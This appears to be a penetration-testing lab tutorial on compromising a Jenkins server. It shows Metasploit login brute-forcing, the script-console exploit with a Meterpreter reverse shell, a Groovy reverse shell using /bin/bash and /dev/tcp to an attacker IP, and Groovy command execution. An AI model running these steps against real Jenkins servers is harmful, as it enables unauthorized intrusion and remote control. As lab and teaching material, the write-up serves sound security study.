Jenkins Penetration Testing
Jenkins is an open-source automation server used for continuous integration (CI) and continuous delivery (CD). It’s built on Java and utilizes a scripting platform for automation. Jenkins automates tasks such as building, testing, and deployment in the software development lifecycle. This automation accelerates development cycles, enhances code quality, and streamlines releases. Key features include CI/CD pipelines, automated testing, integration with version control systems, extensibility via plugins, and robust monitoring and reporting capabilities.
Table of Contents
Lab Setup
Installation
Configuration
Enumeration
Exploitation using Metasploit Framework
Exploiting Manually (Reverse Shell)
Executing Shell Commands Directly
Conclusion
Lab Setup
In this article, we are going to setup the Jenkins server on the ubuntu machine and obtain the remote code execution. Following are the machines:
Target Machine: Ubuntu (192.168.1.4)
Attacker Machine: Kali Linux (192.168.1.7)
Installation
For Jenkins to function, it necessitates the Java Runtime Environment (JRE). In this guide, we’ll utilize OpenJDK to establish the Java environment. OpenJDK’s development kit incorporates JRE within its framework.
apt install openjdk-11-jdk
At times, the default Ubuntu repository may lack the latest Jenkins version. Therefore, it is suggested opting for the project-maintained repository to access the most recent features and patches.
To integrate the Jenkins repository into the Ubuntu system, adhere to the following:
Begin by importing the GPG key to ensure package integrity.
sudo curl -fsSL https://pkg.jenkins.io/debian-stable/jenkins.io-2023.key | sudo tee /usr/share/keyrings/jenkins-keyring.asc > /dev/null
Following that, incorporate the Jenkins repository and append the authentication key to the source list using the command provided below:
sudo echo deb [signed-by=/usr/share/keyrings/jenkins-keyring.asc] https://pkg.jenkins.io/debian-stable binary/ | sudo tee /etc/apt/sources.list.d/jenkins.list > /dev/null
Now we can proceed with the Jenkins installation in the ubuntu machine.
apt install jenkins
After installation is complete, Jenkins can be started using the following command:
systemctl start Jenkins
Status can be checked using the following command:
systemctl status jenkins
Configuration
Post installation, Jenkins can be configured to run smoothly. By checking the service running on port 8080, the Jenkins server requires an Administrator password.
Password can be obtained by reading the content of the initialAdminPassword file.
cat /var/lib/Jenkins/secrets/initialAdminPassword
Select the Install suggested plugins to Customize Jenkins and proceed with the installation.
The final step requires the creation of First Admin User username and password. Here we are using the username as raj and password as 123.
Finally, entering the URL to access the Jenkins Server. The URL can be entered as http://127.0.0.1:8080/ as we want to setup the server on the ubuntu machine.
Enumeration
After successfully installing and configuring the Jenkins server, we can start the exploitation using the kali machine. Starting with the enumeration, since at port 8080 the Jenkins Server is running in the ubuntu machine hence checking the port 8080. At port 8080 there is a Jenkins login page which requires credentials.
Exploitation using Metasploit Framework:
Since the login page requires credentials, hence we can use the auxiliary available in the Metasploit framework to check for the valid username and password to login. The auxiliary which we will be using will require a username file and a password file.
It can be noted that for CTF scenarios the username file can be used as the common usernames list (https://github.com/danielmiessler/SecLists/blob/master/Usernames/Names/names.txt) and password file can be used as rockyou.txt. However, here we are using a custom dictionary to make the scanning easier. The following commands can be used inside Metasploit framework:
use auxiliary/scanner/http/Jenkins_login
set rhosts 192.168.1.4
set rport 8080
set targeturi /
set user_file users.txt
set pass_file passwords.txt
set verbose false
exploit
Observe that the username and password have been enumerated successfully. After the username and password have been enumerated, now its time use them to exploit the target. The exploit which can be used here is the exploit/multi/http/Jenkins_script_console. Following commands can be used inside Metasploit framework to run the exploit:
use exploit/multi/http/Jenkins_script_console
show targets
set target 1
set payload linux/x64/meterpreter/reverse_tcp
set rhosts 192.168.1.4
set rport 8080
set targeturi /
set username raj
set password 123
exploit
Observe that the reverse shell has been obtained after the exploit has been successfully executed.
Exploiting Manually (Reverse Shell)
To exploit manually, we require the username and password of the Jenkins Console. Assuming here that the attacker has already found the credentials either by brute forcing or through any other method, successful login into the console can be performed.
After login using the previously found credentials (raj:123) from the auxiliary. The Manage Jenkins functionality can be accessed which contains a Script Console functionality.
In Jenkins, Groovy serves as the main scripting language for defining jobs and pipelines. Groovy, being dynamic and operating on the Java Virtual Machine (JVM), seamlessly integrates with Jenkins, which is predominantly Java-based. Therefore, we are going to use the groovy reverse shell script to obtain the reverse shell. The command for the groovy reverse shell can be obtained from the following URL: https://www.revshells.com and selecting the Groovy script payload.
Now, using the above groovy reverse shell script in the Jenkins script console. Before running the script make sure to start the netcat listener at port 443 inside kali machine using the following command:
rlwrap nc -lnvp 443
Finally, the reverse shell is obtained at port 443 after running the above groovy script.
An alternate way to get the reverse shell can be by running the following script in the script console:
r = Runtime.getRuntime()
p = r.exec([“/bin/bash”,”-c”,”exec 5<>/dev/tcp/192.168.1.7/443; cat <&5 | while read line; do $line 2>&5 >&5; done”] as String[])
p.waitFor()
Make sure to start the listener at port 443 before running the script.
Observe that the reverse shell is obtained at port 443 after the execution of the script.
Executing Shell Commands Directly
There are cases where we don’t have a listener to take the reverse shell. In those cases, we can directly run the script and obtain the output of the code in the Result window.
The following code is used to get the output of the system commands:
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = ‘ipconfig’.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println “out> $sout err> $serr”
Observe that after running the script the output can be seen directly in the Result window.
A similar code which can be used to get the command output in the Result window can be:
def proc = “id”.execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
Observe that after running the script the output can be seen directly in the Result window.
Conclusion
In summary, the possibility of using Jenkins servers to gain a reverse shell emphasizes the crucial need for strong security practices. Whether due to compromised logins or no authentication at all, the vulnerability of Jenkins servers shows why we must take security seriously. It’s essential for organizations to enforce strict access rules, conduct regular security checks, and promptly update systems to reduce the chances of unauthorized access and misuse.
Author: Vinayak Chauhan is an InfoSec researcher and Security Consultant. Contact here
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